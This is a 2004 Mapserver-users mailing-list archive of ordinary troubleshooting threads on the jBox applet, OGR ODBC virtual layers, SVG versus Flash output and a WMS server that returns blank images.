> From: "Michael Smith" 
> To: "'Richard Greenwood'" 
> Cc: ; "'Steve Lime'"
> ; "'Wim Blanken (PI)'" 
> Sent: Wednesday, January 21, 2004 8:41 PM
> Subject: RE: [Mapserver-users] jBox
>
>
> > I forgot to mention that I am creating gif images.
> >
> > -----Original Message-----
> > From: Richard Greenwood [mailto:rich at greenwoodmap.com]
> > Sent: Wednesday, January 21, 2004 12:50 PM
> > To: Michael Smith; mapserver-users at lists.gis.umn.edu
> > Subject: Re: [Mapserver-users] jBox
> >
> > Michael Smith wrote:
> >
> > > I have jBox installed on windows 2000 IIS 5.  I followed (I think)
> > > the instructions on installing.  Created wwwroot/java/jBox/ folder
> > > and copied evalThread.class, jBox.java, and jBox.class to that
> directory.
> >
> > You don't need to put jBox.java in there, that's the source code, but
> that's
> > not your problem either.
> >
> > What type of image are you creating: gif, jpeg, png... ?
> >
> > What browser are you using? Have you checked that it works with Java
> > (a
> Java
> > VM is installed and Java is enabled in your browser)? You can test it
> > at http://www2.tetonwyo.org/mapserver
> >
> > Are you getting any error messages?
> >
> > View your page source in your browser and make sure the substitutions
> > are correct in:   (you
> > should
> not
> > see the square brakets and you should have a valid, accessible path to
> > an image.
> >
> > Rich
> >
> > > modifications to my html file and everthing seems to work other than
> > > I am getting a "gray box" where my map used to be.  Does anyone have
> > > any ideas what I may have missed?
> > >
> > > Inserted in head of html:
> > > 
> > >
> > >
> > >
> > > Inserted this into the body of the html:
> > >           
> > >           
> > >              > >                height="600" name="jBox" MAYSCRIPT>
> > >               
> > >             
> > >           
> > >         
> > >
> > > AND
> > >
> > > 
> > >
> > >
> > > Michael Smith, Planner II
> > > City of San Angelo
> > > Planning & Development
> > > 325.657.4210 Fax: 325.481.2648
> > > Email: msmith at sanangelompo.org
> > >
> > > _______________________________________________
> > > Mapserver-users mailing list
> > > Mapserver-users at lists.gis.umn.edu
> > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > >
> > >
> >
> >
> > --
> > Richard Greenwood
> > www.greenwoodmap.com
> >
>
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From eduardo at consultoria.eti.br  Wed Jan 21 12:21:00 2004
From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae)
Date: Wed, 21 Jan 2004 18:21:00 -0200
Subject: [Mapserver-users] Using MapServer as a Database Query Engine: is it possible?
Message-ID: <20040121202100.6603.qmail@hm47.locaweb.com.br>

I'm currently working on a MapServer application that was previously( prototype) built using PHPMapScript
and PostGreSQL , because some special features like displaying news at the first page, or a random banner(special news) above the map. or even a list of items found( but not on map, just the fields, like NQUERY mode).

but after analysing the data model for a few minutes the conclusion is that only the news/banners tabke are non-spatial( not shapefiles) table.

so, the easier way for rebuilding the application is to build a new one only using CGI mode .

my question is: is it possible? can I use MapServer CGI engine to query and display in a HTML Table the last 5 news ( more recent), for example?

ps: will be no problem to save the news in a DBF table.


Eduardo Patto Kanegae
+Homepage:http://www.consultoria.eti.br   ( BRASIL )
+Perfil:http://www.consultoria.eti.br/ptbr/epk.php
*F?rum ptMapServer - http://www.consultoria.eti.br/mapserverptforum/ - "Discuss?es relacionadas ao MapServer"
*ClickBrasil - http://www.consultoria.eti.br/clickbrasil/  - "Mapas do Brasil com dados censit?rios"
***************************************
***Fim da Mensagem / End of Message ***
***************************************






From rich at greenwoodmap.com  Wed Jan 21 12:24:09 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 21 Jan 2004 13:24:09 -0700
Subject: [Mapserver-users] jBox
In-Reply-To: <00ff01c3e05a$a3c60d10$6400a8c0@BLANKEN>
References: <200401211241972.SM02752@PLANGIS> <00b801c3e049$e4860a50$6400a8c0@BLANKEN> <400ECE43.8030402@greenwoodmap.com> <00ff01c3e05a$a3c60d10$6400a8c0@BLANKEN>
Message-ID: <400EDFE9.3070805@greenwoodmap.com>

Wim Blanken (PI) wrote:

> Hello Richard,
> 
> I've used the compiled version in the downloaded zip file and it would not
> work on
> Windows XP with IE 6.0
> The statusbar gave me a message: class not found.
> After I recompiled the jBox using the option -target 1.1 it would work.

Can you tell me which VM you are running?

1. In IE:
      Tools > Internet Options > Advanced >
        scroll down to "Microsoft VM" and check:
          "Java console enabled"

2. If you are not running a Microsoft VM it will listed in
    this section. e.g. "Sun Java VM" or similar.

3. If Java console was not already enabled, quit IE and
    then restart it.

4. In IE:
      View > Java Console
        The version information will be the first line.

I have added your suggestion of '-target 1.1' to the build script, but I 
would also like to better understand the problem you are encountering.

Thanks,
-- 
Richard Greenwood
www.greenwoodmap.com


From rich at greenwoodmap.com  Wed Jan 21 12:30:43 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 21 Jan 2004 13:30:43 -0700
Subject: [Mapserver-users] jBox
In-Reply-To: <200401211520736.SM02752@PLANGIS>
References: <200401211520736.SM02752@PLANGIS>
Message-ID: <400EE173.8020303@greenwoodmap.com>

Michael Smith wrote:

> Here is what is retured when I do view source:
> 
>           
>           
>                             height="600" name="jBox" MAYSCRIPT>
>                value="http://192.168.110.1http://192.168.110.1/tmp/Mike10747157561596.gif">
>             
>           
>         
> 
> Any suggestions?

That aint right. It should look like:
    http://192.168.110.1/tmp/Mike10747157561596.gif
in your template it should be EXACTLY:
    http://[host][img]

For some reason the host is getting in there twice.

In your .map file, your IMAGEURL should be "/tmp/"

-- 
Richard Greenwood
www.greenwoodmap.com


From hjulien at nrcan.gc.ca  Wed Jan 21 12:26:20 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Wed, 21 Jan 2004 15:26:20 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
Message-ID: <06B403677C41D51194550002A55107D201F78FEB@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi Paul,
What do I write in the virtual file SrcDataSource tag when I log on a Access
db with no user restrictions and pass word?
I've tried the following combinations without success:

ODBC:MGWI_MAPSERVER
ODBC:@MGWI_MAPSERVER
ODBC:/@MGWI_MAPSERVER
ODBC:administor/@MGWI_MAPSERVER 
ODBC:administeur/@MGWI_MAPSERVER

Thanks
H?ryk


-----Message d'origine-----
De : Paul Spencer [mailto:pagameba at magma.ca]
Envoy? : Wednesday, January 21, 2004 1:43 PM
? : Julien, Heryk
Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
Anctil, Martin
Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)


I believe there is a limitation in the OGR OBDC connection that requires 
that you provide a user name and password in the OVF file (I think that 
is mentioned in the wiki also).

Cheers,

Paul

Julien, Heryk wrote:
> Hi,
> I'm trying out the Virtual Spatial Data procedure in MapServerWiki
> (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
> and an Access 2000 ODBC connection.
> 
> I keep on getting the following error message when I attempt ton see my
map:
> 
> msDrawMap(): Image handling error. Failed to draw layer named
'MGWI_TBLLOC'.
> 
> msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
File
> not found or unsupported format.
> 
> Anyone can help me?
> 
> 
> 
> Here is my virtual file (mgw.ovf):
> 
> 
>     
>         ODBC:MGWI_MAPSERVER 
>  	tblloc 
> 	wkbPoint
> 	         
> 	 
>     
> 
> 
> 
> 
> 
> My virtual layer is in the same directory as my shapefiles:
> 
> SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
> 
> 
> 
> 
> Here is the section of my mapfile where I call my virtual layer:
> 
> LAYER
> 	NAME "MGWI_TBLLOC"
> 	TYPE POINT
> 	CONNECTIONTYPE OGR
> 	CONNECTION "mgwi.ovf"
> 	DATA "MGWI_TBLLOC"
> 	STATUS DEFAULT
> 	LABELITEM "LOCID"
> 	PROJECTION
> 		"init=epsg:26920"
> 	END #projection
> 	CLASS
> 		SYMBOL 'circle'
> 		SIZE 8
> 		LABEL
> 			COLOR 132 31 31
> 			SHADOWCOLOR 218 218 218
> 			SHADOWSIZE 2 2
> 			TYPE TRUETYPE
> 			FONT arial-bold
> 			FORCE true
> 			SIZE 10
> 			POSITION auto
> 			PARTIALS FALSE
> 			MINDISTANCE 0
> 			BUFFER 2
> 		END # end of label
> 	    TEMPLATE
> "d:\webcgcq\lcnp\mapserver_demo\maritimes\templates\field_capt_query.html"
> 	END # CLASS
> END # LAYER
> 
> 
> 
> 
> 
> 
> ==========================================
> H?ryk
> NRCan
> 
> -----Message d'origine-----
> De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
> Envoy? : Wednesday, January 14, 2004 8:44 AM
> ? : 'spencer at dmsolutions.ca'
> Cc : 'Mapserver-users at lists.gis.umn.edu'
> Objet : RE: TR: [Mapserver-users] MySQL and Mapserver
> 
> 
> Thanks
> 
> H?ryk
> 
> -----Message d'origine-----
> De : Paul Spencer [mailto:pagameba at magma.ca]
> Envoy? : Tuesday, January 13, 2004 5:00 PM
> ? : Julien, Heryk
> Cc : 'Paul Spencer '; 'Mapserver-users at lists.gis.umn.edu'
> Objet : Re: TR: [Mapserver-users] MySQL and Mapserver
> 
> 
> Maybe you missed it?
> 
>
http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00111.html
> 
> Cheers,
> 
> Paul
> 
> Julien, Heryk wrote:
> 
> 
>>Hi Paul,
>>Could you send me or post information on the "new format in 
>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>source and map two of the columns to x and y locations"?
>>
>>Thanks
>>H?ryk
>>
>>-----Message d'origine-----
>>De : Julien, Heryk [mailto:hjulien at nrcan.gc.ca]
>>Envoy? : Monday, January 05, 2004 9:23 AM
>>? : 'spencer at dmsolutions.ca'
>>Cc : 'Mapserver-users at lists.gis.umn.edu'
>>Objet : RE: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Hi,
>>I am also very interseted in that fonction. I would like to be able to map
>>well positions from a database x and y colums. Would this permit me to
> 
> have
> 
>>an up to date point geometry layer which reflects the changes in my well
>>database? Can you send me more details?
>>
>>Thanks
>>
>>H?ryk
>>NRCan
>>
>>-----Message d'origine-----
>>De : Paul Spencer [mailto:pagameba at magma.ca]
>>Envoy? : Saturday, January 03, 2004 4:28 PM
>>? : bartvde at xs4all.nl
>>Cc : mapserver-users at lists.gis.umn.edu
>>Objet : Re: [Mapserver-users] MySQL and Mapserver
>>
>>
>>Bart,
>>
>>if you are interested in point geometries only, there is a new format in 
>>OGR to set up a virtual layer that can draw columns from any ODBC data 
>>source and map two of the columns to x and y locations.  We've used it 
>>for a couple of clients and it works very nicely.  If you are interested 
>>I can send you more details.
>>
>>Cheers,
>>
>>Paul
>>
>>Bart van den Eijnden wrote:
>>
>>
>>
>>>Hi list,
>>>
>>>I see in the history log that there has been some work done recently 
>>>(early December) by Attila on supporting MySQL 4.X for the MyGIS 
>>>connector. Can it be used already?
>>>
>>>Also, is it possible to keep the geometries in shapefiles and use 
>>>Mapserver JOINS to link to tables in MySQL?
>>>
>>>Thanks in advance for the info.
>>>
>>>Best regards,
>>>Bart
>>>_______________________________________________
>>>Mapserver-users mailing list
>>>Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>
>>
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From wim.blanken at planet.nl  Wed Jan 21 12:52:43 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 21:52:43 +0100
Subject: [Mapserver-users] jBox
References: <200401211241972.SM02752@PLANGIS>
 <00b801c3e049$e4860a50$6400a8c0@BLANKEN> <400ECE43.8030402@greenwoodmap.com>
 <00ff01c3e05a$a3c60d10$6400a8c0@BLANKEN> <400EDFE9.3070805@greenwoodmap.com>
Message-ID: <014901c3e060$97873a50$6400a8c0@BLANKEN>

Hello Richard,

I cannot reproduce the problem on XP as I am working at Home at the Moment.
However i can reproduce it with Windows 98 and IE 5.00.2614.3500
The status bar gives me: jBox class not found

VM: Java 5.0 Release 5.0.0.3167

Btw: In the java code you state:
------------------------------------------------------
Compiler issues:

Sun JDK 1.2 & 1.3 work ok, but

1.4 compiled classes won't run under MS VM (IE 5.5)?

MS J++ won't compile due to un-caught exceptions?

-------------------------------------------------------

That gave me the idea about compiling with javac -target 1.1
As soon as I did that it ran perfectly on every system I have encountered.

By the way, I have used your additions to the Jbox and included a function
to be able to digitise points, lines and polygons. It works great in
combination with a little bit mapscript to create/update the shapefiles.
As soon as I'm finishing testing I'll post it to you.

Thanx for your efforts!!!

Wim Blanken
The Netherlands




----- Original Message -----
From: "Richard Greenwood" 
To: "Wim Blanken (PI)" ;

Sent: Wednesday, January 21, 2004 9:24 PM
Subject: Re: [Mapserver-users] jBox


> Wim Blanken (PI) wrote:
>
> > Hello Richard,
> >
> > I've used the compiled version in the downloaded zip file and it would
not
> > work on
> > Windows XP with IE 6.0
> > The statusbar gave me a message: class not found.
> > After I recompiled the jBox using the option -target 1.1 it would work.
>
> Can you tell me which VM you are running?
>
> 1. In IE:
>       Tools > Internet Options > Advanced >
>         scroll down to "Microsoft VM" and check:
>           "Java console enabled"
>
> 2. If you are not running a Microsoft VM it will listed in
>     this section. e.g. "Sun Java VM" or similar.
>
> 3. If Java console was not already enabled, quit IE and
>     then restart it.
>
> 4. In IE:
>       View > Java Console
>         The version information will be the first line.
>
> I have added your suggestion of '-target 1.1' to the build script, but I
> would also like to better understand the problem you are encountering.
>
> Thanks,
> --
> Richard Greenwood
> www.greenwoodmap.com



From steve.lime at dnr.state.mn.us  Wed Jan 21 13:31:56 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Wed, 21 Jan 2004 15:31:56 -0600
Subject: [Mapserver-users] SVG versus Flash
Message-ID: 

That would work as long as you wanted static maps. The advantage of
using MapServer is that you can have SVG templates to show just the
information for a desired set of features obtained through a query.

>>> "ozialien"  1/21/2004 12:52:39 PM >>>
Has anyone considered a SHP->XML Format->XSLT->SVG?

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu 
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Steve
Lime
Sent: Wednesday, January 21, 2004 9:34 AM
To: mapserver-users at lists.gis.umn.edu; bartvde at xs4all.nl 
Subject: Re: [Mapserver-users] SVG versus Flash


With SVG you're not limited to the method you mention. The development
version has had some new features added so that you can you normal
MapServer
queries/templates to generate SVG. Here's a message I sent to the list
a
while back:

------------------
Here's an example link that shows SVG MapServer output:

http://maps.dnr.state.mn.us/cgi-bin/mapserv40?map=/usr/local/www/docs/testin

g/svg/test.map&mode=itemnquery&qitem=cty_name&qstring=/./&qlayer=county


It's super simple, and just dumps MN counties to a SVG document.
There's a
smile animation (provided by a student over at the UMN) that you see
when
move your mouse over an individual county. The mapfile and templates
can be
found at:

  http://maps.dnr.state.mn.us/testing/svg/svg_simple.zip 

Note that you'll need the CVS version of MapServer for this stuff to
work.
I've tried the above URL with Mozilla (native SVG support, animation
doesn't
work) and IE (Adobe plugin) with success.

Please pass along questions or comments!
------------------

I've only worked with SVG briefly, but was quite impressed with its
potential. It seems much more ammenable to on-the-fly creation than
flash
(since it's ascii). Biggest downside, and it's a huge one, it the lack
of
client software. The Adobe plugin works great, but their support for
non-windows clients sucks, and there is little else out there that
supports
a significant portion of the SVG spec.

Steve

Stephen Lime
Data & Applications Manager

Minnesota DNR
500 Lafayette Road
St. Paul, MN 55155
651-297-2937

>>> Bart van den Eijnden  1/20/2004 1:52:02 PM >>>
Hi list,

if you want to use vector-based clients, Mapserver basically has 2
options:

1. use Flash swf output
2. use GML output on the WFS interface and transform this into SVG
(xslt)

Can anybody name some strong or weak points of both techniques, and
are

there any working implementations out there?

I know there is a very good comparison at:
http://www.carto.net/papers/svg/comparison_flash_svg/ 

but I am just wondering if anybody has some experience with this choice
or 
even with both techniques and Mapserver.

Thanks in advance for any input on this.

Best regards,
Bart
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users 



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From eric.sokolowsky at gsfc.nasa.gov  Wed Jan 21 13:42:09 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Wed, 21 Jan 2004 16:42:09 -0500 (EST)
Subject: [Mapserver-users] simple mapserver configuration
In-Reply-To: 
Message-ID: 

On Tue, 20 Jan 2004, Pericles Nacionales wrote:

> Eric,
> 
> I don't know if this is relevant in WMS servers or not but how about
> adding IMAGEURL in your WEB object?  

Okay, done.  Didn't seem to change anything though.

> By the way, does your app generate a
> map with a standard MapServer CGI url, ie:
> http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?map=/path/to/your/mapfile.map&layer=EARTH_PNG&mode=map

It generates the following message when I try that:

msDrawMap(): General error message. Image dimensions not specified.
msCalculateScale(): General error message. Invalid image width or height.

> Another question, did you check that your IMAGEPATH (IMAGEURL) is
> writeable by your web server's user/owner?

Yes, after reading the documentation a few more times, I got the mapserv
to write to my error log file.  However, I still see a blank image in my
WMS client.  It returns an image of the right size, but it is completely
black.  Here's an example query:

http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?REQUEST=GetMap&SRS=EPSG:4326&VERSION=1.1.0&FORMAT=image/png&STYLES=default&LAYERS=EARTH_JPEG&BBOX=-110,-20,-70,20&WIDTH=512&HEIGHT=512&TRANSPARENT=TRUE

I know that the map file is being obtained correctly because when I issue
getcapabilities request I get back an xml file with all of the correct
layers.

Any other suggestions anyone?

> 
> Cheers!
> -Perry N.
> 
> On Tue, 20 Jan 2004, Eric Sokolowsky wrote:
> 
> > I am trying to use mapserver as a simple WMS interface into data images
> > that I already have.  I would prefer to have a very light server that
> > does not reproject images or convert to different formats.  I tried to
> > set up mapserver and I got all of the pieces to compile.  The
> > capabilities is returned as expected.  However, when I try to use a wms
> > client or a web browser to formulate some queries, all I get is a blank
> > image.  Is mapserver capable of acting as a very light server?  How can
> > I use mapserver to serve any image that isn't blank?  My server's
> > location is listed here, if anyone is interested:
> >
> >   http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?
> >
> > When run locally, mapserv -v returns:
> >
> > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=GDAL INPUT=SHAPEFILE
> >
> > Here's my map file:
> >
> >
> > # Start of wms.map file
> >
> > MAP
> >   NAME SVS
> >   EXTENT -180 -90 180 90
> >   STATUS ON
> >
> >   PROJECTION
> >     "init=epsg:4326"
> >   END
> >
> >   WEB
> >     IMAGEPATH "/svs/share/data/de/data/"
> >     METADATA
> >       "wms_abstract" "This Web Mapping Server is provided by NASA's Scientific Visualization Studio at Goddard Space Flight Center in Greenbelt, Maryland, USA."
> >       "wms_accessconstraints" "none"
> >       "wms_fees" "none"
> >       "wms_onlineresource" "http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?"
> >       "wms_title" "NASA GSFC SVS Animation Catalog"
> >     END
> >     LOG "/tmp/mapserver.log"
> >   END
> >
> >   OUTPUTFORMAT
> >     NAME png
> >     DRIVER "GD/PNG"
> >     MIMETYPE "image/png"
> >     IMAGEMODE RGB
> >     EXTENSION "png"
> >   END
> >
> >   LAYER
> >     NAME "EARTH_GIF"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.gif"
> >     METADATA
> >       "wms_title" "Earth gif"
> >       "wms_extent" "-110 -20 -70 20"
> >       "wms_opaque" "1"
> >     END
> >   END
> >
> >   LAYER
> >     NAME "EARTH_JPEG"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.jpeg"
> >     METADATA
> >       "wms_title" "Earth jpeg"
> >       "wms_extent" "-110 -20 -70 20"
> >     END
> >   END
> >
> >   LAYER
> >     NAME "EARTH_JPG"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.jpg"
> >     METADATA
> >       "wms_title" "Earth jpg"
> >       "wms_extent" "-110 -20 -70 20"
> >     END
> >   END
> >
> >   LAYER
> >     NAME "EARTH_PNG"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.png"
> >     METADATA
> >       "wms_title" "Earth png"
> >       "wms_extent" "-110 -20 -70 20"
> >     END
> >   END
> >
> >   LAYER
> >     NAME "EARTH_PPM"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.ppm"
> >     METADATA
> >       "wms_title" "Earth ppm"
> >       "wms_extent" "-110 -20 -70 20"
> >     END
> >   END
> >
> >   LAYER
> >     NAME "EARTH_RGB"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.rgb"
> >     METADATA
> >       "wms_title" "Earth rgb"
> >       "wms_extent" "-110 -20 -70 20"
> >     END
> >   END
> >
> >   LAYER
> >     NAME "EARTH_TIF"
> >     TYPE RASTER
> >     STATUS ON
> >     DATA "earth.tif"
> >     METADATA
> >       "wms_title" "Earth tif"
> >       "wms_extent" "-110 -20 -70 20"
> >     END
> >   END
> >
> > END
> >
> > --
> >     ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center
> >    / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
> >   / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
> >  /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771
> >
> > _______________________________________________
> > Mapserver-users mailing list
> > Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> >
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 
> 

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From grantm at atser.com  Wed Jan 21 13:45:03 2004
From: grantm at atser.com (Grant Marblestone)
Date: Wed, 21 Jan 2004 15:45:03 -0600
Subject: [Mapserver-users] java
In-Reply-To: <200401211520736.SM02752@PLANGIS>
Message-ID: <895CFBF5ECF1904CB5126ADE88667588415C99@FC4102.hcfcd.co.harris.tx.us>

Is there any way to create shpfiles dynamically from a sql server database
without sde?  Or basically just have fields x, y in the database and show
them on a map?

Thanks,

Grant




From eric.sokolowsky at gsfc.nasa.gov  Wed Jan 21 13:50:20 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Wed, 21 Jan 2004 16:50:20 -0500 (EST)
Subject: [Mapserver-users] simple mapserver configuration
In-Reply-To: 
Message-ID: 

On Tue, 20 Jan 2004, Norman Vine wrote:

> Pericles Nacionales writes:
> > 
> > By the way, does your app generate a
> > map with a standard MapServer CGI url, ie:
> > http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?map=/path/to/your/mapfile.map&layer=EARTH_PNG&mode=map
> 
> AhAh  I think this is it !
> 
> Eric try 
> 
>  "wms_onlineresource" "http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?"
> 
> assuming your mapfile is "mywms.map" and is in the cgi-bin directory try
> 
> "wms_onlineresource" "http://svsdev.gsfc.nasa.gov/esok/cgi-bin/map?map=mywms.map"
> 
> your mapfile can be anywhere you just need the path as Pericles says

Yes, I am sure that I was getting the right map file, because a 
getcapabilities request was returning an xml document with all of the 
right layers.  I didn't mention it in the original email (I should have
though) but my "map" is a wrapper around mapserv (so I don't need to 
specify a map file in the URL): 

  #!/bin/sh
  # Wrapper for mapserv binary.

  export ROOT=/home/esok
  export MS_MAPFILE=${ROOT}/mapserver/etc/wms.map
  ${ROOT}/public_html/cgi-bin/mapserv $*

I really do appreciate your suggestions.  Do you have any more?

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771




From wim.blanken at planet.nl  Wed Jan 21 14:03:01 2004
From: wim.blanken at planet.nl (Wim Blanken PI)
Date: Wed, 21 Jan 2004 23:03:01 +0100
Subject: [Mapserver-users] JBox Line
References: <200401211241972.SM02752@PLANGIS>
 <00b801c3e049$e4860a50$6400a8c0@BLANKEN> <400ECE43.8030402@greenwoodmap.com>
 <00ff01c3e05a$a3c60d10$6400a8c0@BLANKEN> <400EDFE9.3070805@greenwoodmap.com>
 <014901c3e060$97873a50$6400a8c0@BLANKEN> <400EEEDF.5050709@greenwoodmap.com>
Message-ID: <01c301c3e06a$57a719f0$6400a8c0@BLANKEN>

Hi Richard,

By the way, i changed the following code in the paint function

From:

-------------------------------------------------------------
if (line) {

if ((x1==x2) && (y1==y2)) { // mouse click

------------------------------------------------------------------------

To:

--------------------------------------------------------------
if (line) {
   if ((x1==x2) && (y1==y2) && (x1!=0) && (y1!=0)) { // mouse click

---------------------------------------------------------------

That is because my application uses frames. A refresh caused the line tool
to always start
at x=0 and y=0. To make sure that was not the case I had to implement this
change......

Regards,

Wim Blanken
The Netherlands

----- Original Message -----
From: "Richard Greenwood" 
To: "Wim Blanken (PI)" 
Sent: Wednesday, January 21, 2004 10:27 PM
Subject: Re: [Mapserver-users] jBox


> Wim Blanken (PI) wrote:
>
> > Hello Richard,
> >
> > I cannot reproduce the problem on XP as I am working at Home at the
Moment.
> > However i can reproduce it with Windows 98 and IE 5.00.2614.3500
> > The status bar gives me: jBox class not found
> >
> > VM: Java 5.0 Release 5.0.0.3167
> >
> > Btw: In the java code you state:
> > ------------------------------------------------------
> > Compiler issues:
> >
> > Sun JDK 1.2 & 1.3 work ok, but
> >
> > 1.4 compiled classes won't run under MS VM (IE 5.5)?
> >
> > MS J++ won't compile due to un-caught exceptions?
> >
> > -------------------------------------------------------
> >
> > That gave me the idea about compiling with javac -target 1.1
> > As soon as I did that it ran perfectly on every system I have
encountered.
> >
> > By the way, I have used your additions to the Jbox and included a
function
> > to be able to digitise points, lines and polygons. It works great in
> > combination with a little bit mapscript to create/update the shapefiles.
> > As soon as I'm finishing testing I'll post it to you.
>
> I'd be interested in seeing your additions. I just added area
> calculations to the measure tool in CVS.
>
> I am still pretty baffled by your VM problems. You are not running a
> significantly different MS VM than I am and I have not heard of similar
> problems from anyone else. As I said before, I have added the "-target
> 1.1" to the build file, but I suspect there is still something more to
> the story.
>
> Regards,
>
> --
> Richard Greenwood
> www.greenwoodmap.com



From nsavard at dmsolutions.ca  Wed Jan 21 14:25:48 2004
From: nsavard at dmsolutions.ca (Normand Savard)
Date: Wed, 21 Jan 2004 17:25:48 -0500
Subject: [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
References: <06B403677C41D51194550002A55107D201F78FEB@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <400EFC6C.2050400@dmsolutions.ca>

Julien,

Just because I do not know all the steps you have done, can you tell me 
if you were able to have some output form "ogrinfo" command?

Norm

Julien, Heryk wrote:

>Hi Paul,
>What do I write in the virtual file SrcDataSource tag when I log on a Access
>db with no user restrictions and pass word?
>I've tried the following combinations without success:
>
>ODBC:MGWI_MAPSERVER
>ODBC:@MGWI_MAPSERVER
>ODBC:/@MGWI_MAPSERVER
>ODBC:administor/@MGWI_MAPSERVER 
>ODBC:administeur/@MGWI_MAPSERVER
>
>Thanks
>H?ryk
>
>
>-----Message d'origine-----
>De : Paul Spencer [mailto:pagameba at magma.ca]
>Envoy? : Wednesday, January 21, 2004 1:43 PM
>? : Julien, Heryk
>Cc : 'spencer at dmsolutions.ca'; 'Mapserver-users at lists.gis.umn.edu';
>Anctil, Martin
>Objet : [Mapserver-users] Re: VirtualSpatialData (OGR Connectiontype)
>
>
>I believe there is a limitation in the OGR OBDC connection that requires 
>that you provide a user name and password in the OVF file (I think that 
>is mentioned in the wiki also).
>
>Cheers,
>
>Paul
>
>Julien, Heryk wrote:
>  
>
>>Hi,
>>I'm trying out the Virtual Spatial Data procedure in MapServerWiki
>>(http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?VirtualSpatialData) with IIS
>>and an Access 2000 ODBC connection.
>>
>>I keep on getting the following error message when I attempt ton see my
>>    
>>
>map:
>  
>
>>msDrawMap(): Image handling error. Failed to draw layer named
>>    
>>
>'MGWI_TBLLOC'.
>  
>
>>msOGRFileOpen(): OGR error. Open failed for OGR connection `mgwi.ovf'.
>>    
>>
>File
>  
>
>>not found or unsupported format.
>>
>>Anyone can help me?
>>
>>
>>
>>Here is my virtual file (mgw.ovf):
>>
>>
>>    
>>        ODBC:MGWI_MAPSERVER 
>> 	tblloc 
>>	wkbPoint
>>	         
>>	 
>>    
>>
>>
>>
>>
>>
>>My virtual layer is in the same directory as my shapefiles:
>>
>>SHAPEPATH "d:\webcgcq\lcnp\mapserver_demo\maritimes\data\shp\geo83"
>>
>>
>>
>>
